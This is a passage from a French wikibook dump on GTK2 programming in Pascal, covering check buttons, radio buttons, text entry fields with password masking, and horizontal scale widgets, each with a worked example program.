Pascal - GtkCheckButton|GtkCheckButton]] |} == Utilisation de base == === Création === Une fois encore, la syntaxe et l'utilisation des fonctions de création restent classiques : function gtk_check_button_new : PGtkWidget; function gtk_check_button_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_check_button_new_with_mnemonic(_label : Pgchar) : PGtkWidget; Pour le reste, il faut utiliser les fonctions et signaux du contrôle <code>[[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]]</code>. == Programme exemple == Nous allons reprendre l'exemple du contrôle <code>GtkToggleButton</code> mais cette fois-ci avec un <code>GtkCheckButton</code>. Voilà le fichier <code>gtk022.pas</code> : program gtk022; uses glib2, gtk2; procedure OnBtnAEtatToggle(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Etat : GBoolean; Inconsistent : GBoolean; LabelBtn : PGChar; LabelEtat, LabelIncons : PGChar; begin // Récuperation de l'état du bouton Etat := gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(APWidget)); // Récuperation de l'aspect du bouton Inconsistent := gtk_toggle_button_get_inconsistent(GTK_TOGGLE_BUTTON(APWidget)); // Construction du label du bouton if Etat then LabelEtat := g_strdup('Coché') else LabelEtat := g_strdup('Décoché'); if Inconsistent then LabelIncons := g_strdup('Modifié') else LabelIncons := g_strdup('Normal'); LabelBtn := g_strdup_printf('État : %s - Aspect : %s', [LabelEtat, LabelIncons]); // Modification du label du bouton gtk_button_set_label(GTK_BUTTON(APWidget), LabelBtn); // Libération des chaînes g_free(LabelBtn); g_free(LabelEtat); g_free(LabelIncons); end; procedure OnBtnMajEtatClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Etat : GBoolean; begin // Récuperation de l'état du bouton Etat := gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(AData)); // Modification de l'état du bouton gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(AData), Etat <> TRUE); end; procedure OnBtnMajAspectClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Inconsistent : GBoolean; begin // Récuperation de l'aspect du bouton Inconsistent := gtk_toggle_button_get_inconsistent(GTK_TOGGLE_BUTTON(AData)); // Modification de l'aspect du bouton gtk_toggle_button_set_inconsistent(GTK_TOGGLE_BUTTON(AData), Inconsistent <> TRUE); // On emet le signal « toggle » pour changer le texte du bouton gtk_toggle_button_toggled(GTK_TOGGLE_BUTTON(AData)); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pCaseACocher : PGtkWidget; pBtnMajEtat : PGtkWidget; pBtnMajAspect : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk022 : Case à cocher'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la case à cocher pCaseACocher := gtk_check_button_new_with_label('État : Décoché - Aspect : Normal'); gtk_box_pack_start(GTK_BOX(pVBox), pCaseACocher, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pCaseACocher), 'toggled', GTK_SIGNAL_FUNC(@OnBtnAEtatToggle), NULL); // Création du bouton de changement d'état pBtnMajEtat := gtk_button_new_with_label('Changer état'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnMajEtat, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnMajEtat), 'clicked', GTK_SIGNAL_FUNC(@OnBtnMajEtatClick), pCaseACocher); // Création du bouton de changement d'aspect pBtnMajAspect := gtk_button_new_with_label('Changer aspect'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnMajAspect, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnMajAspect), 'clicked', GTK_SIGNAL_FUNC(@OnBtnMajAspectClick), pCaseACocher); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk022</code> : [[Image:Programmation GTK2 en Pascal - gtk022-1.png]] Puis après avoir cliqué sur la case à cocher : [[Image:Programmation GTK2 en Pascal - gtk022-2.png]] Puis après avoir cliqué sur le bouton de changement d'aspect : [[Image:Programmation GTK2 en Pascal - gtk022-3.png]] {{Programmation GTK2 en Pascal - Boutons}} Programmation GTK2 en Pascal - GtkRadioButton 2598 14182 2005-02-16T12:29:29Z Didier 186 Création {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkRadioButton''', appelé bouton radio est également un bouton poussoir qui fait partie d'un groupe de boutons radio dans lequel un seul peut-être enfoncé. Dès qu'on enfonce un des boutons du groupe, celui qui était enfoncé redevient normal. Comme sur un poste de radio quand on choisit, grandes ondes, petites ondes ou modulation de fréquence, le nom vient de là. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkButton|GtkButton]] └─[[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] └─[[Programmation GTK2 en Pascal - GtkCheckButton|GtkCheckButton]] └─[[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]] |} == Utilisation de base == === Création === Afin de grouper les boutons radio, Gtk+ utilise les [[Programmation GTK2 en Pascal - GSList|listes simplement chaînées de GLib]]. Pour créer le premier bouton radio du groupe, il faut obligatoirement passer par une de ces fonctions : function gtk_radio_button_new(group : PGSList) : PGtkWidget; function gtk_radio_button_new_with_label(group : PGSList; _label : Pgchar) : PGtkWidget; function gtk_radio_button_new_with_mnemonic(group : PGSList; _label : Pgchar) : PGtkWidget; Au moment de la création, le bouton radio est automatiquement ajouté à la liste <code>group</code>. Cependant, ce paramètre n'est pas obligatoire. Nous pouvons très bien mettre NULL comme valeur et cela marchera de la même manière, sauf que nous n'aurons pas de pointeur sur la liste. La valeur de retour de cette fonction sera aussi copiée dans la variable <code>data</code> de la liste chaînée. Ensuite pour rajouter les autres boutons au groupe, il y a plusieurs possibilités. La première est d'utiliser une des trois fonctions précédentes mais ce n'est pas tout, car autant pour le premier bouton du groupe, il n'est pas nécessaire d'avoir une liste, autant pour les autres boutons cela devient obligatoire. Pour cela, Gtk+ nous fournit une fonction qui permet d'obtenir la liste dans laquelle les boutons du groupe sont ajoutés : function gtk_radio_button_get_group(radio_button : PGtkRadioButton) : PGSList; Avec cette fonction, nous pouvons donc connaître la liste à laquelle appartient le bouton <code>radio_button</code>, ce qui va nous permettre d'ajouter de nouveau bouton au groupe. Mais là où cela se complique, c'est qu'il faut récupérer la liste avant chaque ajout de bouton avec le dernier bouton ajouté comme paramètre. Voici ce que cela donnerai pour un groupe de trois boutons : pRadio1 := gtk_radio_button_new_with_label(NULL, 'Radio 1'); pGroup := gtk_radio_button_get_group(GTK_RADIO_BUTTON(pRadio1)); pRadio2 := gtk_radio_button_new_with_label(pGroup, 'Radio 2'); pGroup := gtk_radio_button_get_group(GTK_RADIO_BUTTON(pRadio2)); pRadio3 := gtk_radio_button_new_with_label(pGroup, 'Radio 3'); Ce système peut donc s'avérer lourd lors de la création du groupe, surtout s'il contient un grand nombre de boutons. Heureusement, les concepteurs de Gtk+ ont pensé à nous simplifier la vie en ajoutant ces trois fonctions : function gtk_radio_button_new_from_widget(group : PGtkRadioButton) : PGtkWidget; function gtk_radio_button_new_with_label_from_widget(group : PGtkRadioButton; _label : Pgchar) : PGtkWidget; function gtk_radio_button_new_with_mnemonic_from_widget(group : PGtkRadioButton; _label : Pgchar) : PGtkWidget; Cette fois <code>group</code> ne correspond pas à la liste mais à un des boutons du groupe. A chaque appel d'une de ces fonctions Gtk+ va s'occuper de récupérer correctement la liste à laquelle appartient le bouton <code>group</code> et ajouter le nouveau bouton. Cela aura pour conséquence, dans le cas d'un groupe de trois boutons, de réduire le nombre de lignes de code de 5 à 3 (et oui, une ligne de code c'est une ligne de code). Nous savons maintenant tout ce qu'il faut pour créer un groupe de <code>GtkRadioButton</code>. == Programme exemple == Le programme exemple se présente sous la forme d'un mini sondage à trois choix : * Pour ; * Contre ; * Sans opinion. La possibilité de choisir parmi une de ces valeurs est rendue possible par l'utilisation des <code>GtkRadioButton</code>. Un autre bouton (tout ce qu'il y a de plus normal) permet de valider le choix fait par l'utilisateur ainsi que d'afficher le résultat dans une boîte de dialogue. Voilà le fichier <code>gtk023.pas</code> : program gtk023; uses glib2, gtk2; procedure OnBtn(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pListe : PGSList; LabelBtnRad : PGChar; pFenetre : PGtkWidget; pInfo : PGtkWidget; begin // Récuperation de la liste des boutons pListe := gtk_radio_button_get_group(GTK_RADIO_BUTTON(AData)); // Parcours de la liste while pListe <> NULL do begin // Le bouton est-il sélectionné if gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(pListe^.data)) then begin // OUI -> on copie le label du bouton LabelBtnRad := gtk_button_get_label(GTK_BUTTON(pListe^.data)); // On met la liste a NULL pour sortir de la boucle pListe := NULL; end else begin // NON -> on passe au bouton suivant */ pListe := g_slist_next(pListe); end; end; // On récupère la fenêtre principale // // À partir d'un contrôle, gtk_widget_get_toplevel // remonte jusqu'à la fenêtre mère qui nous est // utile pour l'affichage de la boîte de dialogue pFenetre := gtk_widget_get_toplevel(GTK_WIDGET(AData)); pInfo := gtk_message_dialog_new(GTK_WINDOW(pFenetre), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, 'Vous avez choisi : %s', [LabelBtnRad]); gtk_dialog_run(GTK_DIALOG(pInfo)); gtk_widget_destroy(pInfo); g_free(LabelBtnRad); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pLabel : PGtkWidget; pRadio1 : PGtkWidget; pRadio2 : PGtkWidget; pRadio3 : PGtkWidget; pBtnValider : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk023 : Boutons radio'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); pLabel := gtk_label_new('Votre choix :'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); // Création du premier bouton radio pRadio1 := gtk_radio_button_new_with_label(NULL, 'Pour'); gtk_box_pack_start(GTK_BOX(pVBox), pRadio1, FALSE, FALSE, 0); // Ajout du deuxième pRadio2 := gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(pRadio1), 'Contre'); gtk_box_pack_start(GTK_BOX(pVBox), pRadio2, FALSE, FALSE, 0); // Ajout du troisième pRadio3 := gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(pRadio1), 'Sans opinion'); gtk_box_pack_start(GTK_BOX(pVBox), pRadio3, FALSE, FALSE, 0); pBtnValider := gtk_button_new_from_stock(GTK_STOCK_OK); gtk_box_pack_start(GTK_BOX(pVBox), pBtnValider, FALSE, FALSE, 0); g_signal_connect(pGTKOBJECT(pBtnValider), 'clicked', GTK_SIGNAL_FUNC(@OnBtn), pRadio1); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk023</code> : [[Image:Programmation GTK2 en Pascal - gtk023.png]] {{Programmation GTK2 en Pascal - Boutons}} Image:Programmation GTK2 en Pascal - gtk023.png 2599 14183 2005-02-16T12:29:35Z Didier 186 Exemple du programme gtk023.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk023.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - La saisie de données 2600 14184 2005-02-18T11:06:59Z Didier 186 - EntryCompletion - Editable {{Programmation GTK2 en Pascal}} La '''saisie de données''' est l'autre élément important d'une interface graphique permettant d'établir la communication avec l'utilisateur. Gtk+ permet la gestion de plusieurs contrôles de ce type : * [[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]] * [[Programmation GTK2 en Pascal - GtkHScale|GtkHScale]] * [[Programmation GTK2 en Pascal - GtkVScale|GtkVScale]] * [[Programmation GTK2 en Pascal - GtkSpinButton|GtkSpinButton]] Modèle:Programmation GTK2 en Pascal - Saisie de données 2601 14185 2005-02-16T20:47:51Z Didier 186 - EntryCompletion - Editable {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Saisie de données : [[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]] ~ [[Programmation GTK2 en Pascal - GtkHScale|GtkHScale]] ~ [[Programmation GTK2 en Pascal - GtkVScale|GtkVScale]] ~ [[Programmation GTK2 en Pascal - GtkSpinButton|GtkSpinButton]] |} Image:Programmation GTK2 en Pascal - gtk024-1.png 2602 14186 2005-02-16T16:55:33Z Didier 186 Exemple du programme gtk024.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk024.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk024-2.png 2603 14187 2005-02-16T16:56:06Z Didier 186 Exemple du programme gtk024.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk024.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkEntry 2604 14188 2005-02-16T17:21:10Z Didier 186 /* Programme exemple */ {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkEntry''' permet de gérer une zone de texte d'une ligne que l'utilisateur peut modifier. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]] |} == Utilisation de base == === Création === Pour créer un contrôle <code>GtkEntry</code>, nous avons à notre disposition une fonction simple d'utilisation : function gtk_entry_new : PGtkWidget; === Récupération de la donnée saisie === Afin de récupérer le texte qui a été saisi par l'utilisateur, il faut utiliser cette fonction : function gtk_entry_get_text(entry : PGtkEntry) : Pgchar; Elle permet de récupérer le texte qui a été tapé par l'utilisateur dans le contrôle <code>entry</code>. La valeur de retour est de type <code>PGChar</code>. Il est inutile d'allouer de la mémoire pour la variable qui va recevoir le texte, et donc de ne surtout pas libérer la mémoire car cela rendrait votre application instable. === Afficher un message dans la zone de texte === Pour afficher un message dans une <code>GtkEntry</code>, la fonction est : procedure gtk_entry_set_text(entry : PGtkEntry; text : Pgchar); Le paramètre <code>entry</code> correspond bien sûr au <code>GtkEntry</code> dans lequel on veut insérer le texte <code>text</code>. === Limiter le nombre de caractères === Gtk+ nous offre la possibilité de limiter le nombre de caractères qu'un utilisateur peut saisir avec la fonction : procedure gtk_entry_set_max_length(entry : PGtkEntry; max : gint); Le paramètre <code>max</code> correspond bien sûr à limite que nous voulons fixer. Il est à noter que le champ d'entrée peut-être créer directement avec une longueur maxi, on utilise alors : function gtk_entry_new_with_max_length(max : gint) : PGtkWidget; == Programme exemple == Comme exemple, nous allons créer une fenêtre comportant un <code>GtkEntry</code>, un <code>GtkButton</code> et un <code>GtkLabel</code>. Le but sera d'afficher le texte du <code>GtkEntry</code> dans le <code>GtkLabel</code>. Cette opération s'effectuera lorsque l'utilisateur appuie sur la touche « Entrée » à la fin de sa saisie (interception du signal « activate ») ou lorsqu'il cliquera sur le bouton (interception du signal « clicked »). Voilà le fichier <code>gtk024.pas</code> : program gtk024; uses glib2, gtk2; type TFenetrePrincipale = record pFenetre : PGtkWidget; pVBox : PGtkWidget; pChampEntree : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkEntry Texte := gtk_entry_get_text(GTK_ENTRY(pFenPrinc^.pChampEntree)); // Modification du texte contenu dans le GtkLabel */ gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk024 : Champ de saisie'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pVBox); // Création du GtkEntry pFenPrinc^.pChampEntree := gtk_entry_new; gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pChampEntree, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pChampEntree), 'activate', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk024</code> : [[Image:Programmation GTK2 en Pascal - gtk024-1.png]] Après saisie d'un texte et clic sur le bouton : [[Image:Programmation GTK2 en Pascal - gtk024-2.png]] == La saisie d'un mot de passe == === Visibilité du texte === Généralement, lorsque nous tapons un mot de passe, nous souhaitons que celui-ci reste secret. Le contrôle <code>GtkEntry</code> permet cela grâce à cette fonction : procedure gtk_entry_set_visibility(entry : PGtkEntry; visible : gboolean); Il suffit donc de mettre le paramètre <code>visible</code> à FALSE pour cacher le texte qui sera entré. À l'inverse, pour savoir si le texte entré sera visible ou pas, il faut utiliser cette fonction : function gtk_entry_get_visibility(entry : PGtkEntry) : gboolean; La valeur de retour sera, bien sûr, égale à TRUE si le texte est visible et à FALSE dans le cas contraire. === Le caractère affiché === Par défaut, lorsque l'on ajoute du texte à un <code>GtkEntry</code> qui a son paramètre visible à FALSE, Gtk+ remplacera toutes les lettres par des « * ». Pour modifier celui-ci, il faut utiliser cette fonction : procedure gtk_entry_set_invisible_char(entry : PGtkEntry; ch : gunichar); Le paramètre <code>ch</code> correspond au caractère de remplacement que nous souhaitons. Celui-ci est de type <code>gunichar</code> qui correspond à l'encodage UCS-4. Il faudra utiliser la fonction <code>g_utf8_get_char</code> pour faire la conversion depuis l'utf-8, si c'est dans ce format qu'on sauvegarde les sources. Et pour terminer, la fonction permettant de connaître le caractère de remplacement est : function gtk_entry_get_invisible_char(entry : PGtkEntry) : gunichar; === Programme exemple === Cette fois, nous allons reprendre l'exemple précédent en activant le mode « mot de passe » et en limitant la saisie à huit caractères. Nous modifierons aussi le caractère de remplacement « * » par « € » (pour changer de « $ »). Voilà la partie modifiée du fichier <code>gtk025.pas</code> (cf le fichier <code>gtk024.pas</code> pour avoir le code complet) : [...] // Création du GtkEntry pFenPrinc^.pChampEntree := gtk_entry_new; // Limitation du nombre de caractères gtk_entry_set_max_length(GTK_ENTRY(pFenPrinc^.pChampEntree), 8); // Mode mot de passe gtk_entry_set_visibility(GTK_ENTRY(pFenPrinc^.pChampEntree), FALSE); // Modification du caractère affiché gtk_entry_set_invisible_char(GTK_ENTRY(pFenPrinc^.pChampEntree), g_utf8_get_char('€')); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pChampEntree, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pChampEntree), 'activate', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); [...] Voilà ce que donne l'exécution du programme <code>gtk025</code> après saisie d'un texte et appui sur « entrée » : [[Image:Programmation GTK2 en Pascal - gtk025.png]] {{Programmation GTK2 en Pascal - Saisie de données}} Image:Programmation GTK2 en Pascal - gtk025.png 2605 14189 2005-02-16T17:18:20Z Didier 186 Exemple du programme gtk025.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk025.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk026-1.png 2607 14190 2005-02-16T18:29:32Z Didier 186 Exemple du programme gtk026.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk026.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk026-2.png 2608 14191 2005-02-16T18:30:08Z Didier 186 Exemple du programme gtk026.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk026.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkHScale 2609 14192 2005-02-16T18:32:07Z Didier 186 s/jauge/curseur/ {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkHScale''' est un curseur horizontal qui permet de sélectionner une valeur numérique. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkRange|GtkRange]] └─[[Programmation GTK2 en Pascal - GtkScale|GtkScale]] └─[[Programmation GTK2 en Pascal - GtkHScale|GtkHScale]] |} == Utilisation de base == === Création === La création d'un curseur se fait grâce à la fonction : function gtk_hscale_new(adjustment : PGtkAdjustment) : PGtkWidget; Le paramètre <code>adjustment</code> est l'ajustement que le curseur doit représenter. Le même ajustement peut être attribué à plusieurs curseurs sur la même fenêtre. Le déplacement de l'un entrainera le déplacement des autres. La création d'un ajustement qui est un type <code>PGtkObject</code> se fait grâce à la fonction : function gtk_adjustment_new(value : gdouble; lower : gdouble; upper : gdouble; step_increment : gdouble; page_increment : gdouble; page_size : gdouble) : PGtkObject; Le paramètre <code>value</code> représente la valeur actuelle de l'ajustement, les paramètres <code>lower</code> et <code>upper</code> sont les valeurs mini et maxi, donc les valeurs quand le curseur sera respectivement à gauche et à droite. Le paramètre <code>step_increment</code> est la valeur qui est utilisée pour incrémenter ou décrémenter la valeur de l'ajustement quand on bouge le curseur d'une position. Les autres paramètres doivent être utilisés pour les ascenseurs. On peut en fait créer un curseur plus rapidement en utilisant la fonction : function gtk_hscale_new_with_range(min : gdouble; max : gdouble; step : gdouble) : PGtkWidget; Il n'y a pas d'ajustement à fournir, juste les valeurs <code>min</code> et <code>max</code>, ainsi que le pas, <code>step</code>. === Affichage de la valeur === Par défaut, la valeur est affichée près du curseur. On peut changer cela avec la fonction : procedure gtk_scale_set_draw_value(scale : PGtkScale; draw_value : gboolean); Le paramètre <code>scale</code> est le curseur et si on met FALSE dans <code>draw_value</code>, la valeur ne sera pas affichée. TRUE l'affiche. On peut également déterminer le nombre de chiffres après la virgule on désire afficher avec la fonction : procedure gtk_scale_set_digits(scale : PGtkScale; digits : gint); Le paramètre <code>digits</code> permet d'indiquer le nombre de chiffres désirés. Une dernière fonction permet de décider de l'emplacement de l'affichage de la valeur, par défaut celui-ci étant au dessus du curseur : procedure gtk_scale_set_value_pos(scale : PGtkScale; pos : TGtkPositionType); Le paramètre <code>pos</code> peut prendre les valeurs : * GTK_POS_LEFT, pour la valeur placée à gauche du curseur ; * GTK_POS_RIGHT, pour la valeur à droite ; * GTK_POS_TOP, pour la valeur au dessus ; * GTK_POS_BOTTOM, pour la valeur en dessous. === Position du curseur === C'est l'objet <code>GtkRange</code> dont <code>GtkHScale</code> hérite les propriétés qui gère la position du curseur. Pour positionner le curseur, on a donc la fonction : procedure gtk_range_set_value(range : PGtkRange; value : gdouble); Le paramètre <code>value</code> donne la valeur. Pour récupérer la position du curseur, on utilisera : function gtk_range_get_value(range : PGtkRange) : gdouble; À noter qu'à chaque déplacement, un signal « value_changed » est émis. == Programme exemple == Dans une fenêtre, on va placer une jauge horizontale pouvant aller de 0 à 100 avec comme valeur initiale 50 et l'ffichage de la valeur en dessous. On aura un bouton et un label, le bouton permettant d'afficher la valeur dans le label. Voilà le fichier <code>gtk026.pas</code> : program gtk026; uses glib2, gtk2; type TFenetrePrincipale = record pFenetre : PGtkWidget; pVBox : PGtkWidget; pCurseur : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Valeur : GDouble; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkHScale Valeur := gtk_range_get_value(GTK_RANGE(pFenPrinc^.pCurseur)); Texte := g_strdup_printf('%f', [Valeur]); // Modification du texte contenu dans le GtkLabel */ gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); g_free(Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk026 : Curseur'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pVBox); // Création du GtkHScale pFenPrinc^.pCurseur := gtk_hscale_new_with_range(0, 100, 1); // Position du curseur gtk_range_set_value(GTK_RANGE(pFenPrinc^.pCurseur), 50); // Affichage de 2 chiffres après la virgule gtk_scale_set_digits(GTK_SCALE(pFenPrinc^.pCurseur), 2); // Affichage de la valeur en dessous gtk_scale_set_value_pos(GTK_SCALE(pFenPrinc^.pCurseur), GTK_POS_BOTTOM); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pCurseur, TRUE, FALSE, 0); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk026</code> : [[Image:Programmation GTK2 en Pascal - gtk026-1.png]] Puis après avoir déplacé le curseur et cliqué sur le bouton : [[Image:Programmation GTK2 en Pascal - gtk026-2.png]] {{Programmation GTK2 en Pascal - Saisie de données}} Programmation GTK2 en Pascal - GtkVScale 2610 14193 2005-02-16T20:13:06Z Didier 186 /* Programme exemple */ typo {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkVScale''' est un curseur vertical qui permet de sélectionner une valeur numérique. === Hiérarchie === {| 